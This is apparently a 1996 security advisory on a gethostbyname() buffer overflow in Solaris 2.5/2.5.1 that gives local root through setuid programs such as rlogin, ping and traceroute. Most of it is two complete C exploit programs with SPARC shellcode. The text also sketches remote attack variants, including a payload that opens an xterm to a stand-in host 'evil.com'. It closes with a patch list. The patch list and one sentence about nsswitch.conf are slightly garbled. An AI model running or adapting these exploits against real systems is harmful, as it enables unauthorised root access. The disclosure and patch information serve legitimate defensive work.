COMMAND
gethostbyname()
SYSTEMS AFFECTED
Solaris 2.5 and Solaris 2.5.1
PROBLEM
There has been a buffer over-run vulnerability discovered in both
the libc and the libnsl libraries under Solaris 2.5/2.5.1. Many
setuid and setgid programs, as well as network programs running
with root privileges, are dynamically linked against these
libraries. This vulnerability has the potential for any program
using these libraries, running with root privileges, to be
exploited, giving root privileges. There is a good chance this
exploit can be modified to allow a remote attack, but such a
method has not (yet) been found.
gethostbyname() appears to have a buffer overrun problem. Calling
gethostbyname() on a Solaris 2.5 or 2.5.1 machine with an
argument larger than 8,251 characters causes a segmentation fault
or bus error. This does *not* seem to happen under Solaris 2.4;
some change made to the NSL library between 2.4 and 2.5 seems to
have broken this.
The buffer overrun can be readily exploited by passing a string to
gethostbyname() that contains assembler code to execute a shell
and overwrites the stack's return pointer so the flow of control
jumps to that code when the function tries to return. (This
technique was described in detail in Phrack 49, and the exploit
program below is based on their writeup.)
The implications are somewhat alarming. Any program that accepts
a hostname from the user without imposing a restriction on the
length of the hostname, and resolves it using gethostbyname(), is
potentially exploitable. Any suid-root program fitting that
description can be used to gain root privileges. The exploit
program I have provided uses /usr/bin/rlogin, but the same code
also gives a root shell if used in conjunction with rsh, ping, or
traceroute.
If a suitable daemon can be found, this same technique can
probably also be used as a remote exploit. The asm code in my
exploit program simply runs /bin/sh (BTW, I didn't write the
shellcode myself; I copied it from a similar program). If the
code is changed to run something else (for example, 'xterm
-display evil.com:0'), and a daemon can be found that will
resolve hostnames without restricting their length, remote root
access may be possible. For example, any mail daemon might work
(HELO <overflow_string>) or the finger daemon (finger
krusty@{overflow_string}@victim.com).
Note that all sites running a public traceroute or ping gateway
under Solaris 2.5 or 2.5.1 are also potentially vulnerable, and
probably should disable those services until a patch is available
(or indefinitely).
And here comes exploit too!
The first (rlogin-exploit.c) executes a root shell under Solaris
2.5[.1] by passing an appropriately constructed string to
/usr/bin/rlogin as its argument, which rlogin then resolves using
gethostbyname(). This program also works to exploit rsh, ping,
traceroute, etc.
The second (overflow-demo.c) is an almost identical program,
except that it directly calls gethostbyname() instead of using
rlogin. The result is a shell of the same UID as the calling
program. The purpose of this program is simply to demonstrate
that the bug is part of the NSL library, not rlogin.
--------------------rlogin-exploit.c------------------------------------------
/*
* rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
* by exploiting the gethostbyname() overflow in rlogin.
*
* gcc -o rlogin-exploit rlogin-exploit.c
*
* Jeremy Elson, 18 Nov 1996
* jeremy.elson@nih.gov
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 8200
#define EXTRA 100
#define STACK_OFFSET 4000
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i<code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i<EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}
--------------------overflow-demo.c-------------------------------------------
/*
* overflow-demo.c: demonstrates the buffer overrun of gethostbyname()
* in Solaris 2.5/2.5.1. This should execute a subshell of the same userid
* as the calling program.
*
* gcc -o overflow-demo overflow-demo.c -lnsl
*
* Jeremy Elson, 18 Nov 1996
* jeremy.elson@nih.gov
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define BUF_LENGTH 8200
#define EXTRA 100
#define SPARC_NOP 0xa61cc013
#define STACK_OFFSET 4000
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i<code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i<EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
gethostbyname(buf);
}
------------------------------------------------------------------------------
It appears that in nsswitch.conf, but as soon as you add "nis" in
there the exploit program just sends things into an infinite loop.
SOLUTION
The patches required to close this vulnerability are listed below.
Solaris 2.x (SunOS 5.x) patches
Patches which replace the affected libraries and executables are
available for every supported version of SunOS 5.x.
OS version Patch ID
---------- ---------
SunOS 5.5 103187-09
SunOS 5.5_X86 103188-09
SunOS 5.1.1 103612-06
SunOS 5.5.1_x86 103613-06
SunOS 5.1.1_ppc 103614-06